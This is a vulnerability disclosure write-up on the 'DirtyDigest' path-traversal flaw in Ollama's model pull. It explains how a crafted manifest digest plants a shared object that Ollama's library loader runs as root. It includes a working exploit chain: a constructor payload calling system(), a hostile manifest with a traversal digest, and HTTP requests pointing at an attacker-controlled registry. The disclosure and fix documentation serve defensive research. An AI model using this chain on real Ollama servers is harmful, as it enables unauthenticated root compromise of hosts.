DirtyDigest: A crafted manifest turns Ollama's model pull into an arbitrary file write and root RCE
How Striga turned an unvalidated manifest digest in Ollama's pull path into an arbitrary file write and, in the default Docker image, unauthenticated remote code execution as root.
Overview
Ollama pulls a model by reading a manifest from a registry and writing each layer to disk under a filename derived from that layer's digest. The digest is never checked for format before it becomes a path. A manifest whose layer digest is a string of ../ sequences writes a file outside the model store. In the official Docker image, where the server runs as root and binds 0.0.0.0 with no authentication, that file can be planted inside /usr/lib/ollama, where Ollama's own library loader picks it up and dlopens it on the next start. One unauthenticated request plus a restart runs attacker code as root.
Ollama is a local LLM runtime that serves an HTTP API for pulling and running models. Striga surfaced this chain during an audit of the Ollama repository.
The flaw, which we call DirtyDigest, is tracked as CVE-2026-103663. CERT Polska assigned two CVSS 4.0 vectors to it: 6.9 Medium when the server process cannot write to /usr/lib/ollama, and 9.4 Critical when it can, which is the default in most Ollama Docker images. It is a path traversal (CWE-23) feeding dynamically loaded code (CWE-913). Affected versions run from 0.34.2 up to the fix in 0.35.0.
The report went to the Ollama security contact at hello@ollama.com on 23 September 2026 with a working reproduction. There was no reply. A fix shipped in 0.35.0 on 28 September 2026, five days later, matching the remediation the report suggested, with no contact and with no security label on the commit. CERT Polska took over CVE assignment, as it did for the earlier Ollama findings CVE-2026-42248 and CVE-2026-42249.
An unauthenticated model pull plants a shared object inside Ollama's library directory, and the loader runs it as root on the next start. The stages below walk from the request to code execution.
The Pull Path
POST /api/pull is unauthenticated. The server fetches the model manifest from the registry and parses it with a plain unmarshal, validating nothing:
server/images.go
data, err := io.ReadAll(resp.Body)
// ...
if err := json.Unmarshal(data, &m); err != nil {A manifest layer carries a free-form digest string. For models with tensor layers, Ollama routes the download through its fast transfer package, copying the digest verbatim into the transfer job:
server/images.go
blobs[i] = transfer.Blob{
Digest: layer.Digest,
Size: layer.Size,
}Ollama does have a strict digest validator, manifest.ValidateDigest, which enforces the regex ^sha256[:-][0-9a-fA-F]{64}$. A full-tree search shows it is never called on this path. The legacy pull path enforces it; the transfer path does not. That inconsistency is the whole bug.
The Digest Becomes a Path
The transfer package turns a digest into a filename with a single rewrite:
x/transfer/transfer.go
// digestToPath converts sha256:abc123 to sha256-abc123
func digestToPath(digest string) string {
if len(digest) > 7 && digest[6] == ':' {
return digest[:6] + "-" + digest[7:]
}
return digest
}The only transformation is swapping the colon at index 6 for a hyphen. There is no format check. For a digest like ../../../../usr/lib/ollama/mlx_zzz/libmlxc, byte 6 is a ., not a :, so the string is returned unchanged. It then becomes a path:
x/transfer/download.go
dest := filepath.Join(d.destDir, digestToPath(blob.Digest))
tmp := dest + ".tmp"
os.MkdirAll(filepath.Dir(dest), 0o755)With destDir at /root/.ollama/models/blobs, four levels deep, four ../ land exactly at the filesystem root. Excess ../ is free, since filepath.Join calls Clean and drops the elements that would escape an absolute root, so the attacker can use eight ../ and needs no knowledge of the victim's home directory. The os.MkdirAll creates the attacker-named directory, and the subsequent os.Create(tmp) creates and truncates the file. Both happen before any content check.
The digest ../../../../usr/lib/ollama/mlx_zzz/libmlxc starts four levels deep at /root/.ollama/models/blobs, climbs to the filesystem root, and resolves to /usr/lib/ollama/mlx_zzz/libmlxc.tmp.
Why the File Survives
The transfer code verifies the SHA-256 of the downloaded content against the digest and rejects a mismatch. That check cannot be satisfied with a traversal digest, since the digest is simultaneously the path and the expected hash, so the final rename to the non-.tmp name never happens. The .tmp file is what the attacker keeps, and keeping it is deliberate Ollama behavior.
x/transfer/transfer.go
// resumeThreshold is the minimum blob size for resume support.
// Only blobs above this size keep partial .tmp files on failure.
resumeThreshold = 64 << 20 // 64 MBx/transfer/download.go
if blob.Size < resumeThreshold {
dest := filepath.Join(d.destDir, digestToPath(blob.Digest))
os.Remove(dest + ".tmp")
}A manifest that declares a layer size of 64 MiB or more keeps its partial .tmp on a failed transfer, so resume can continue later. The hostile registry answers the blob request with a valid ELF shared object of a few kilobytes, then closes the connection abruptly. The read fails, the content check is never reached because it only runs on a complete read, and the size check keeps the file. The planted /usr/lib/ollama/mlx_zzz/libmlxc.tmp is a complete, valid shared object.
From File Write to Code Execution
Ollama loads its native MLX library by globbing a directory for libmlxc.*:
mlx/dynamic.go
pattern := "libmlxc.*"
// ...
matches, err := fs.Glob(os.DirFS(dir), pattern)The glob matches libmlxc.tmp. The loader then calls into C:
mlx/dynamic.c
static void* mlx_dlopen(const char* path) {
return dlopen(path, RTLD_LAZY | RTLD_GLOBAL);
}dlopen runs the library's ELF constructors during the call, before the loader's symbol check has a chance to reject the file. A payload built with __attribute__((constructor)) executes at that moment. The .tmp extension does not matter, since dlopen reads the ELF header, not the name, and the execute bit is not required, since the loader maps the file executable from a read-only descriptor. Only a noexec mount would stop it.
The real /usr/lib/ollama already contains a genuine libmlxc.so, which sorts before libmlxc.tmp and would load first. That is why the attacker plants into a fresh subdirectory rather than the root. The loader searches mlx_* subdirectories before the root, reverse-sorted:
mlx/dynamic.go
mlxDirs, err := filepath.Glob(filepath.Join(dir, "mlx_*"))
// ...
sort.Sort(sort.Reverse(sort.StringSlice(mlxDirs)))A directory named mlx_zzz reverse-sorts ahead of the real mlx_cuda_v13 and mlx_metal_v4, and on Linux every variant name is accepted as compatible. The attacker's mlx_zzz holds exactly one libmlxc.* match, the planted file, so it is the one that loads. The directory itself is created for free by the os.MkdirAll in the download path. The location resolves correctly in the shipped image: the loader adds exeDir/../lib/ollama, the binary sits at /usr/bin/ollama, so the target is /usr/lib/ollama, exactly where the Dockerfile places the real libraries, and the image declares no USER, so the process is root.
The loader walks reverse-sorted mlx_* directories and loads the first libmlxc.* it finds. A directory named mlx_zzz sorts ahead of the genuine mlx_metal_v4 and mlx_cuda_v13, so the planted file loads and the real libraries are never reached.
One asymmetry makes the pull reach this code on a Linux container where MLX is otherwise absent. The availability gate inspects mf.Layers, but the routing decision inspects mf.Layers plus mf.Config:
server/images.go
if hasTensorLayers(mf.Layers) {
if err := mlx.CheckInit(); err != nil {
return errors.New("this model requires MLX support, but the MLX runtime is not available")
}
}
var layers []manifest.Layer
layers = append(layers, mf.Layers...)
if mf.Config.Digest != "" {
layers = append(layers, mf.Config)
}
if hasTensorLayers(layers) {
if err := pullWithTransfer(ctx, n, layers, manifestData, regOpts, fn); err != nil {Putting the tensor media type on the config entry alone selects the transfer path while leaving mf.Layers free of tensor types, so the mlx.CheckInit() gate never runs and the pull proceeds.
The Payload and the Two Requests
The payload is an ordinary shared object whose constructor runs the attacker's command:
#include <stdlib.h>
__attribute__((constructor))
static void go(void) {
system("id > /tmp/PWNED; /bin/sh -c '<attacker command>'");
}Built with gcc -shared -fPIC -o libmlxc.so payload.c.
The first request plants it. The hostile manifest is served at the registry, with the traversal string as the config digest and a declared size at or above 64 MiB:
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.ollama.image.tensor",
"digest": "../../../../../../../../usr/lib/ollama/mlx_zzz/libmlxc",
"size": 67108864
},
"layers": []
}POST /api/pull HTTP/1.1
Host: victim:11434
Content-Type: application/json
{"model":"evil.attacker.com/x/y:z","insecure":true,"stream":false}
The insecure flag lets the pull run over plain HTTP. The API type marks PullRequest.Insecure with a // Deprecated: ignored comment, but that comment is stale: the handler still reads the flag and downgrades the registry scheme to http.
The second request fires it. Any model name that makes the scheduler attempt a load works, and it does not need to succeed:
POST /api/generate HTTP/1.1
Host: victim:11434
Content-Type: application/json
{"model":"llama3.2","prompt":"x","stream":false}
Proof
Against the published 0.34.3 image, the chain executed as root. /tmp/PWNED contained:
code executed uid=0 euid=0 pid=1 exe=/usr/bin/ollama
The recording below runs the whole chain against that image: the stock server, one unauthenticated pull, the planted ELF, a restart, and the marker written as root.
The one-command reproduction kit is at striga-ai/CVE-2026-103663.
The reliable trigger verified here is a server restart: the planted library loads when the Ollama process next starts, which the operator or the container runtime will do. On Linux and Windows there is also a no-restart path, where a model-load request makes the scheduler spawn a short-lived gpu-discover child process from the same binary, and that child's loader picks up the planted library within one request. That path is deployment-conditional, since it depends on the host having a GPU that bootstrap detects, so the restart trigger is the one to rely on when reasoning about exposure.
Impact
In the default Docker image the server is root, binds 0.0.0.0:11434, and has no authentication, so a single unauthenticated request followed by a restart gives remote code execution as root. This is the 9.4 Critical vector. Where the server process cannot write to /usr/lib/ollama, the primitive is still an unauthenticated arbitrary file create and truncate outside the model store under the server's privileges, which is the 6.9 Medium vector. The standard install.sh systemd deployment, where the service account does not own /usr/lib/ollama, does not reach root code execution by this path.
Fix
0.35.0 validates every blob digest before any write. The download path now runs manifest.ValidateDigest with the regex ^sha256[:-][0-9a-fA-F]{64}$, so a traversal digest fails the format check and the pull is rejected with invalid digest format before a file is created. Staging the write through a server-generated temporary name would remove the attacker-controlled leaf as a second layer of defense.
Timeline
| Date | Event |
|---|---|
| 2026-09-22 | Chain identified during Striga's audit of the Ollama repository |
| 2026-09-23 | Reported to hello@ollama.com with a reproduction |
| 2026-09-28 | Fix shipped in v0.35.0, no reply to the reporter, no security label on the commit |
| 2026-09-30 | Fix confirmed against the published v0.35.0 image |
| 2026-10 | CVE-2026-103663 assigned through CERT Polska |